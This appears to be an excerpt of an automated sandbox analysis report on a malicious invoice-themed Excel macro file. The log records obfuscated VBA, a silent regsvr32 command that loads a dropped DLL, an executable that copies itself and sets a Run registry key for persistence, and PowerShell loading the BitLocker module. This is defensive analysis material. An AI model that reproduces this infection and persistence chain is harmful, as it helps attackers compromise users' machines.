Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: msi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: dbgcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: sspicli.dll
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Section loaded: libcares-2.dll
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Section loaded: msvcp290.dll
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Section loaded: icu.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: msi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: dbgcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: sspicli.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: ~DFE94CD9633EB51867.TMP.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Document contains an embedded VBA with many string operations indicating source code obfuscation

Source: PO202503D.xlsm	Stream path 'VBA/Module2' : High number of string operations
Source: VBA code instrumentation	OLE, VBA macro, High number of string operations: Module Module2			Name: Module2

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe

Code function: 12_2_00007FF6220A8700 GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

12_2_00007FF6220A8700

Source: libcares-2.dll.9.dr	Static PE information: section name: _RDATA
Source: PO202502DAKE.exe.9.dr	Static PE information: section name: .xdata
Source: libcares-2.dll.12.dr	Static PE information: section name: _RDATA
Source: PO202502DAKE.exe.12.dr	Static PE information: section name: .xdata

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s "C:\Users\user\AppData\Local\Temp\invoice_temp\vcruntime210.dll"

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEA1D57 push rbx; ret	12_2_00007FFC9CEA1D5A
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEA177F push E8001D6Fh; ret	12_2_00007FFC9CEA1789
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CED8BA8 push rdx; retf	12_2_00007FFC9CED8BAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFC3C5FD2A5 pushad ; iretd	14_2_00007FFC3C5FD2A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_00000001400397FB push rsp; ret	16_2_0000000140039802
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003E92B push rsp; ret	16_2_000000014003E932
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003E9FB push rsp; ret	16_2_000000014003EA02
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003EB53 push rsp; ret	16_2_000000014003EB5A
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003BB8B push rsp; ret	16_2_000000014003BB92
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140039BB3 push rsp; ret	16_2_0000000140039BBA
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003EC13 push rsp; ret	16_2_000000014003EC1A
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003A42B push rsp; ret	16_2_000000014003A432
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140039C63 push rsp; ret	16_2_0000000140039C6A
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003947B push rsp; ret	16_2_0000000140039482
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003ECD3 push rsp; ret	16_2_000000014003ECDA
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003E4DB push rsp; ret	16_2_000000014003E4E2
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003A51B push rsp; ret	16_2_000000014003A522
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003BD3B push rsp; ret	16_2_000000014003BD42
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003ED83 push rsp; ret	16_2_000000014003ED8A
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003958B push rsp; ret	16_2_0000000140039592
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_0000000140039DCB push rsp; ret	16_2_0000000140039DD2
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003BDF3 push rsp; ret	16_2_000000014003BDFA
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003E703 push rsp; ret	16_2_000000014003E70A
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003EF53 push rsp; ret	16_2_000000014003EF5A
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014003E7DB push rsp; ret	16_2_000000014003E7E2
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CDF1D57 push rbx; ret	28_2_00007FFC9CDF1D5A
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CDF177F push E8001D6Fh; ret	28_2_00007FFC9CDF1789
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE28BA8 push rdx; retf	28_2_00007FFC9CE28BAB

Source: C:\Program Files\7-Zip\7z.exe	File created: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	File created: C:\Users\user\SystemRootDoc\msvcp290.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	File created: C:\Users\user\SystemRootDoc\libcares-2.dll	Jump to dropped file
Source: C:\Program Files\7-Zip\7z.exe	File created: C:\Users\user\AppData\Local\Temp\invoice_temp\msvcp290.dll	Jump to dropped file
Source: C:\Program Files\7-Zip\7z.exe	File created: C:\Users\user\AppData\Local\Temp\invoice_temp\libcares-2.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	File created: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PO202502DAKE			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PO202502DAKE			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe

Code function: 12_2_00007FFC9CD7F680 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,

12_2_00007FFC9CD7F680

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
